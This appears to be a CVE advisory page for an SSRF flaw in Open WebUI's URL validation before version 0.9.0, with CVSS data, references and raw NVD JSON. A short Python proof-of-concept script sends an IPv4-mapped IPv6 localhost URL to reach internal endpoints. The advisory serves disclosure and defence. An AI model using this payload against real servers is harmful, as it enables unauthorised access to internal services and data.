CVE-2026-45331

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.

CVSS Details

CVSS Score

8.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "http://localhost:8080/api/retrieve"

# Malicious payload using IPv4-mapped IPv6 to access localhost
# This bypasses the IPv4 check due to the described vulnerability
malicious_url = "http://[::ffff:127.0.0.1]:80/admin"

payload = {
    "url": malicious_url
}

# Send the request
response = requests.post(target_url, json=payload)

if response.status_code == 200:
    print("[+] Potential SSRF successful. Response received:")
    print(response.text)
else:
    print("[-] Request failed or blocked.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45331
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45331
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45331/
[4] VulDB https://vuldb.com/cve/CVE-2026-45331
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972
[6] https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45331", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:48.563", "lastModified": "2026-05-15T23:16:21.073", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972", "source": "[email protected]"}, {"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}